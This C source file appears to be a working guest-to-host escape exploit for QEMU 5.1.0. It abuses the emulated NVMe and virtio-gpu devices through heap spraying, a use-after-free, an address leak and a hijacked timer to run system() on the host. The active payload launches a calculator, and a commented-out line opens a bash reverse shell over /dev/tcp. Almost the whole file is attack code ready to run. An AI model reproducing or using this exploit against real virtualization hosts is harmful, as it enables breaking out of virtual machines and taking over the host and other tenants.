/*

    sudo /home/zjusvn/pwn/qemu-5.1.0/x86_64-softmmu/qemu-system-x86_64 \
        -enable-kvm -boot c -m 4G -drive format=qcow2,file=./ubuntu.img \
        -nic user,hostfwd=tcp:0.0.0.0:5555-:22 \
        -drive file=./nvme.img,if=none,id=D11 -device nvme,drive=D11,serial=1234,cmb_size_mb=64  \
        -device virtio-gpu -display none

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "common.h"

#define CMD_NUMS 30
#define CMD_SIZE 60

uint32_t nvme_mmio_addr = 0xfebf0000;
uint32_t nvme_mmio_size = 0x2000;

uint32_t gpu_mmio_addr = 0xfd000000;
uint32_t gpu_mmio_size = 0x4000;

char *nvme_mmio_base;
char *gpu_mmio_base;

const char exec_cmd[] = ";gnome-calculator";    
// const char exec_cmd[] = ";/bin/bash -c  'bash -i >& /dev/tcp/127.0.0.1/3333 0>&1'";
// #define printf //

uint64_t system_offset = 0x2cf170;
uint64_t nvme_process_sq_offset = 0x5A7D00;
uint64_t cleanup_offset = 0x708390;


typedef struct NvmeCmd {
    uint8_t     opcode;
    uint8_t     fuse;
    uint16_t    cid;
    uint32_t    nsid;
    uint64_t    res1;
    uint64_t    mptr;
    uint64_t    prp1;
    uint64_t    prp2;
    uint32_t    cdw10;
    uint32_t    cdw11;
    uint32_t    cdw12;
    uint32_t    cdw13;
    uint32_t    cdw14;
    uint32_t    cdw15;
} NvmeCmd;

typedef struct NvmeCqe {
    uint32_t    result;
    uint32_t    rsvd;
    uint16_t    sq_head;
    uint16_t    sq_id;
    uint16_t    cid;
    uint16_t    status;
} NvmeCqe;

NvmeCmd *cmds[CMD_NUMS];
NvmeCqe cqe;
uint32_t admin_tail = 0;


#define VRING_DESC_F_NEXT	1
#define VRING_DESC_F_WRITE	2

#define VIRTIO_PCI_COMMON_STATUS	20
#define VIRTIO_PCI_COMMON_Q_SELECT 22
#define VIRTIO_PCI_COMMON_Q_SIZE	24
#define VIRTIO_PCI_COMMON_Q_ENABLE	28
#define VIRTIO_PCI_COMMON_Q_DESCLO	32
#define VIRTIO_PCI_COMMON_Q_DESCHI	36
#define VIRTIO_PCI_COMMON_Q_AVAILLO	40
#define VIRTIO_PCI_COMMON_Q_AVAILHI	44

#define VIRTIO_GPU_CMD_RESOURCE_CREATE_2D       0x101
#define VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING  0x106

typedef struct VRingDesc
{
  uint64_t addr;
  uint32_t len;
  uint16_t flags;
  uint16_t next;
}VRingDesc;

typedef struct VRingAvail
{
  uint16_t flags;
  uint16_t idx;
  uint16_t ring[];
}VRingAvail;

struct virtio_gpu_ctrl_hdr {
	uint32_t type;
	uint32_t flags;
	uint64_t fence_id;
	uint32_t ctx_id;
	uint32_t padding;
};

typedef struct Virtio_gpu_resource_attach_backing {
	struct virtio_gpu_ctrl_hdr hdr;
	uint32_t resource_id;
	uint32_t nr_entries;
}Virtio_gpu_resource_attach_backing;


typedef struct Virtio_gpu_resource_create_2d {
	struct virtio_gpu_ctrl_hdr hdr;
	uint32_t resource_id;
	uint32_t format;
	uint32_t width;
	uint32_t height;
}Virtio_gpu_resource_create_2d;

typedef struct Virtio_gpu_mem_entry {
	uint64_t addr;
	uint32_t length;
	uint32_t padding;
}Virtio_gpu_mem_entry;

VRingDesc *desc;
VRingAvail *avail;
Virtio_gpu_mem_entry *ent;
char *gpu_cmd;

void gpu_wr32(uint32_t addr, uint32_t value) {
    *((uint32_t*)(gpu_mmio_base + addr)) = value;
}

void init_gpu(void) {
    desc = (VRingDesc *)aligned_alloc(0x1000, 100 * sizeof(VRingDesc));
    avail = (VRingAvail *)aligned_alloc(0x1000, 100 * sizeof(VRingAvail));
    printf("[+] DESC VIR ADDR = 0x%lx, PHY ADDR = 0x%lx\n", (uint64_t)desc, gva_to_gpa(desc));
    printf("[+] Avail VIR ADDR = 0x%lx, PHY ADDR = 0x%lx\n", (uint64_t)avail, gva_to_gpa(avail));

    gpu_wr32(VIRTIO_PCI_COMMON_STATUS, 0);                          // reset virtio
    gpu_wr32(VIRTIO_PCI_COMMON_Q_SELECT, 0);                        // sel number
    gpu_wr32(VIRTIO_PCI_COMMON_Q_SIZE, 640);                        // vq->vring.num
    gpu_wr32(VIRTIO_PCI_COMMON_Q_DESCLO, gva_to_gpa(desc));         // desc phy addr
    gpu_wr32(VIRTIO_PCI_COMMON_Q_DESCHI, gva_to_gpa(desc) >> 32);
    gpu_wr32(VIRTIO_PCI_COMMON_Q_AVAILLO, gva_to_gpa(avail));       // avail phy addr
    gpu_wr32(VIRTIO_PCI_COMMON_Q_AVAILHI, gva_to_gpa(avail) >> 32);
    gpu_wr32(VIRTIO_PCI_COMMON_Q_ENABLE, 1);                        // enable

}

void heap_layout1(void) {

    Virtio_gpu_resource_create_2d *c2d = (Virtio_gpu_resource_create_2d*)malloc(sizeof(Virtio_gpu_resource_create_2d));
    c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D;
    c2d->resource_id = 2;
    c2d->format = 1;
    c2d->width = 0x100;
    c2d->height = 0x100;

    Virtio_gpu_resource_attach_backing *ab = (Virtio_gpu_resource_attach_backing*)malloc(sizeof(Virtio_gpu_resource_attach_backing));
    ab->hdr.type = VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING;
    ab->resource_id = 2;
    ab->nr_entries = 20;                                  // alloc 0x150 chunk
    
    ent = (Virtio_gpu_mem_entry*)malloc(0x280);           // 0x280,  0x30 for timer
    memset(ent, 'A', sizeof(Virtio_gpu_mem_entry) * 3);
    ent->addr = gva_to_gpa(ent);
    ent->length = sizeof(Virtio_gpu_mem_entry);

    Virtio_gpu_mem_entry *bounce_ent = (Virtio_gpu_mem_entry*)malloc(sizeof(Virtio_gpu_mem_entry));
    bounce_ent->addr = 0x77ffff0000;                     // Let dma_memory_map fail, in order to set qsg->dev as zero. 
    bounce_ent->length = 0x280;                          // Then bypass the object_unref in qemu_sglist_destroy. And free the mapping table.

    Virtio_gpu_mem_entry *next_bounce_ent = (Virtio_gpu_mem_entry*)malloc(sizeof(Virtio_gpu_mem_entry));
    next_bounce_ent->addr = 0x77ffff0000;
    next_bounce_ent->length = 0;

    desc[0].addr = gva_to_gpa(c2d);
    desc[0].len = sizeof(Virtio_gpu_resource_create_2d);                             
    desc[0].flags = 0;
    desc[0].next = 1; 

    desc[20].addr = gva_to_gpa(ab);
    desc[20].len = sizeof(Virtio_gpu_resource_attach_backing);                             
    desc[20].flags = VRING_DESC_F_NEXT;
    desc[20].next = 21;                                 

    for(int i=21; i<59; i++) {                           // for padding
        desc[i].addr = gva_to_gpa(ent);                     
        desc[i].len = sizeof(Virtio_gpu_mem_entry);                            
        desc[i].flags = VRING_DESC_F_NEXT;
        desc[i].next = i+1;  
    }

    // desc[25].addr = gva_to_gpa(bounce_ent);               // alloc bounce buffer
    desc[24].addr = gva_to_gpa(bounce_ent);
    desc[26].addr = gva_to_gpa(next_bounce_ent);

    desc[59].addr = gva_to_gpa(ent);                        // alloc bounce buffer
    desc[59].len = sizeof(Virtio_gpu_mem_entry);                               
    desc[59].flags = 0;
    desc[59].next = 2;   

    avail[0].idx = 2;
    avail->ring[0] = 0;
    avail->ring[1] = 20;

    gpu_wr32(0x3000, 1);                                            // notify

}

void heap_layout2(void) {

    Virtio_gpu_resource_create_2d *c2d = (Virtio_gpu_resource_create_2d*)malloc(sizeof(Virtio_gpu_resource_create_2d));
    c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D;
    c2d->resource_id = 3;
    c2d->format = 1;
    c2d->width = 0x100;
    c2d->height = 0x100;
    
    gpu_cmd = malloc(0x200);    
    memcpy(gpu_cmd+0x20, exec_cmd, strlen(exec_cmd));

    for(int i=0; i<21; i++) {                           // for padding
        desc[i].addr = gva_to_gpa(gpu_cmd);                     
        desc[i].len = sizeof(Virtio_gpu_mem_entry);                            
        desc[i].flags = VRING_DESC_F_NEXT;
        desc[i].next = i+1;  
    }

    desc[21].addr = gva_to_gpa(gpu_cmd);                        
    desc[21].len = sizeof(Virtio_gpu_mem_entry);                               
    desc[21].flags = 0;
    desc[21].next = 2;   

    avail[0].idx = 3;
    avail->ring[2] = 0;

    gpu_wr32(0x3000, 1);                                            // notify

}

void heap_layout3(void) {

    Virtio_gpu_resource_create_2d *c2d = (Virtio_gpu_resource_create_2d*)malloc(sizeof(Virtio_gpu_resource_create_2d));
    c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D;
    c2d->resource_id = 4;
    c2d->format = 1;
    c2d->width = 0x100;
    c2d->height = 0x100;

    Virtio_gpu_resource_attach_backing *ab = (Virtio_gpu_resource_attach_backing*)malloc(sizeof(Virtio_gpu_resource_attach_backing));
    ab->hdr.type = VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING;
    ab->resource_id = 4;
    ab->nr_entries = 20;
    
    ent = (Virtio_gpu_mem_entry*)malloc(0x30);           // 0x280,  0x30 for timer
    memset(ent, 'A', sizeof(Virtio_gpu_mem_entry) * 3);
    ent->addr = gva_to_gpa(ent);
    ent->length = sizeof(Virtio_gpu_mem_entry);

    Virtio_gpu_mem_entry *bounce_ent = (Virtio_gpu_mem_entry*)malloc(sizeof(Virtio_gpu_mem_entry));
    bounce_ent->addr = 0x77ffff0000;
    bounce_ent->length = 0x280;

    Virtio_gpu_mem_entry *next_bounce_ent = (Virtio_gpu_mem_entry*)malloc(sizeof(Virtio_gpu_mem_entry));
    next_bounce_ent->addr = 0x77ffff0000;
    next_bounce_ent->length = 0;

    desc[0].addr = gva_to_gpa(c2d);
    desc[0].len = sizeof(Virtio_gpu_resource_create_2d);                             
    desc[0].flags = 0;
    desc[0].next = 1; 

    desc[20].addr = gva_to_gpa(ab);
    desc[20].len = sizeof(Virtio_gpu_resource_attach_backing);                             
    desc[20].flags = VRING_DESC_F_NEXT;
    desc[20].next = 21;                                 

    for(int i=21; i<59; i++) {                           // for padding
        desc[i].addr = gva_to_gpa(ent);                     
        desc[i].len = sizeof(Virtio_gpu_mem_entry);                            
        desc[i].flags = VRING_DESC_F_NEXT;
        desc[i].next = i+1;  
    }

    desc[24].addr = gva_to_gpa(bounce_ent);
    desc[26].addr = gva_to_gpa(next_bounce_ent);

    desc[59].addr = gva_to_gpa(ent);                        // alloc bounce buffer
    desc[59].len = sizeof(Virtio_gpu_mem_entry);                               
    desc[59].flags = 0;
    desc[59].next = 2;   

    avail[0].idx = 5;
    avail->ring[3] = 0;
    avail->ring[4] = 20;

    gpu_wr32(0x3000, 1);                                            // notify

}

void nvme_wr32(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(nvme_mmio_base + addr)) = value;
    sleep(0.1);
}

uint32_t nvme_rd32(uint32_t addr)
{
    return *((uint32_t*)(nvme_mmio_base + addr));
}

void init_nvme(void) {
    nvme_wr32(0x14, 0);				// nvme_clear_ctrl
    nvme_wr32(0x24, 0xff00ff);          // n->bar.aqa
	nvme_wr32(0x28, gva_to_gpa(cmds[0]));
	nvme_wr32(0x2c, gva_to_gpa(cmds[0]) >> 32);

	uint32_t data = 1;
	data |= 6 << 16;				//  sqes
	data |= 4 << 20;				//	cqes
	nvme_wr32(0x14, data);				// nvme_start_ctrl
}

uint32_t inc_tail(void) {
    int cur = admin_tail;
    admin_tail = (admin_tail + 1) % CMD_SIZE;
    return cur;
}

NvmeCmd create_cq(uint32_t prp1, uint32_t cqid, uint32_t qsize) {
    NvmeCmd cmd;
    cmd.opcode = 5;
    cmd.prp1 = prp1;
    cmd.cdw10 = cqid;
    cmd.cdw10 |= qsize << 16;
    cmd.cdw11 = 1;                       //  cq_flags
    cmd.cdw11 |= 0 << 16;                //  irq_vector
    return cmd;
}

void create_cqlist(void) {
    NvmeCmd *cmd = cmds[0];
    int i;
    for(i=0; i<25; i++) {
        cmd[inc_tail()] = create_cq(gva_to_gpa(&cqe), i + 1, 64);
    }
    nvme_wr32(0x1000, admin_tail);
}

NvmeCmd create_sq(uint64_t prp1, uint32_t sqid, uint32_t qsize, uint32_t cqid) {
    NvmeCmd cmd;
    cmd.opcode = 1;
    cmd.prp1 = prp1;
    cmd.cdw10 = sqid;
    cmd.cdw10 |= qsize << 16;
    cmd.cdw11 = 1;                       //  sq_flags
    cmd.cdw11 |= cqid << 16;
    return cmd;
}

NvmeCmd del_sq(uint32_t qid) {
    NvmeCmd cmd;
    cmd.opcode = 0;
    cmd.cdw10 = qid;
    return cmd;
}

void vuln(uint64_t sqid) {
    NvmeCmd *cmd = cmds[sqid];

    cmd[0].nsid = 1;
    cmd[0].opcode = 2;                // NVME_CMD_READ
    cmd[0].prp1 = 0xf8000000 + 0x500;
    cmd[0].prp2 = 0;  
    cmd[0].cdw10 = 5;                 // slba
    cmd[0].cdw11 = 0;
    cmd[0].cdw12 = 8;                 // nlb

    nvme_wr32(0x1000 + sqid*8, 1);
}

int main(int argc, char *argv[]){


    nvme_mmio_base = mem_map( "/dev/mem", nvme_mmio_addr, nvme_mmio_size );
    if ( !nvme_mmio_base ) {
        return 0;
    }

    gpu_mmio_base = mem_map( "/dev/mem", gpu_mmio_addr, gpu_mmio_size );
    if ( !gpu_mmio_base ) {
        return 0;
    }

    for(int i=0; i<CMD_NUMS; i++)
        cmds[i] = (NvmeCmd *)aligned_alloc(0x1000, CMD_SIZE * sizeof(NvmeCmd));

	//printf("[*] NVME MMIO BASE ADDRESS = 0x%lx\n", (long)nvme_mmio_base);
	//printf("[*] NVME CMD PHY ADDR = 0x%lx\n", (long)gva_to_gpa(cmds));
    init_nvme();
    //printf("[D] NVME INIT OK!\n");

    //printf("[*] VIRTIO GPU MMIO BASE ADDRESS = 0x%lx\n", gpu_mmio_base);
    init_gpu();
    //printf("[D] GPU INIT OK!\n");

    /*              heap spray              */
	create_cqlist();
    NvmeCmd *cmd = cmds[0];
    for(int i=10; i<20; i++)
        cmd[inc_tail()] = create_sq(gva_to_gpa(cmds[i]), i, 3, i);
    nvme_wr32(0x1000, admin_tail);
    //printf("[D] NVME HEAP SPRAY 0x290 CHUNK OK!\n");
    // getchar();

    /*         construct unintialized chunk */
    heap_layout1();
    //printf("[D] VIRTIO GPU HEAP LAYOUT OK! 0x150 TABLE -> USERSPACE 0x290 CHUNK\n");
    // getchar();

    /*           free chunk 0x150->0x290 , use sqid = 1   */
    cmd[inc_tail()] = create_sq(gva_to_gpa(cmds[1]), 1, 1, 1);
	nvme_wr32(0x1000, admin_tail);
    vuln(1);
    //printf("[D] NVME FREE 0x290 CHUNK OK!\n");
    // getchar();

    /*          malloc map table            */
    heap_layout2();
    //printf("[D] VIRTIO GPU PLACE MAP TABLE TO LEAK PHYSMAP ADDR!\n");
    // getchar();
    sleep(1);

    uint64_t *leak = (uint64_t *)ent;
    uint64_t physmap_addr = leak[36];
    *(uint64_t *)(gpu_cmd) = physmap_addr+0x20;
    printf("[D] physmap_addr addr = 0x%lx\n", physmap_addr);
    // getchar();

    /*           del chunk 0x150 to fill up 0x150 freelist        
                 heap spray 0x290 chunk to clear 0x290 freelist         */
    cmd[inc_tail()] = del_sq(1);
    for(int i=20; i<25; i++)
        cmd[inc_tail()] = create_sq(gva_to_gpa(cmds[i]), i, 3, i);
    nvme_wr32(0x1000, admin_tail);
    //printf("[D] NVME CLEAR FREELIST OK!\n");
    // getchar();

    /*         construct second unintialized chunk */
    heap_layout3();
    //printf("[D] VIRTIO GPU HEAP LAYOUT OK! 0x150 TABLE -> USERSPACE 0x40 CHUNK\n");
    // getchar();

    /*           free chunk 0x150->0x40 , use sqid = 2   */
    cmd[inc_tail()] = create_sq(gva_to_gpa(cmds[2]), 2, 1, 2);
	nvme_wr32(0x1000, admin_tail);
    vuln(2);
    //printf("[D] NVME FREE 0x40 CHUNK OK!\n");
    // getchar();

    /*           new timer , use sqid = 3           */
    cmd[inc_tail()] = create_sq(gva_to_gpa(cmds[3]), 3, 1, 3);
	nvme_wr32(0x1000, admin_tail);
    //printf("[D] NVME NEW TIMER OK!\n");
    // getchar();
    

    /*          leak qemu_base & heap_base          */
    leak = (uint64_t *)ent;
    uint64_t qemu_base = leak[2] - nvme_process_sq_offset;
    uint64_t system = qemu_base + system_offset;
    // getchar();
     printf(" _ _       _     _                             _       _\n\
 | (_) __ _| |__ | |_   _   _  ___  __ _ _ __  | | __ _| |__\n\
 | | |/ _` | '_ \\| __| | | | |/ _ \\/ _` | '__| | |/ _` | '_ \\\n\
 | | | (_| | | | | |_  | |_| |  __/ (_| | |    | | (_| | |_) |\n\
 |_|_|\\__, |_| |_|\\__|  \\__, |\\___|\\__,_|_|    |_|\\__,_|_.__/\n\
      |___/             |___/\n\n");

    printf("[D] Qemu base = 0x%lx\n", qemu_base);
    printf("[D] System addr = 0x%lx\n", system);
    
    // getchar();

    /*          control RIP                         */
    leak[3] = physmap_addr;
    leak[2] = qemu_base + cleanup_offset;
    
    
    printf("[D] Control RIP Sucessful! \n");
    
    // fflush(stdout);
    sleep(1);
    /*           trigger system command             */
    nvme_wr32(0x1000 + 8*3, 1);

}

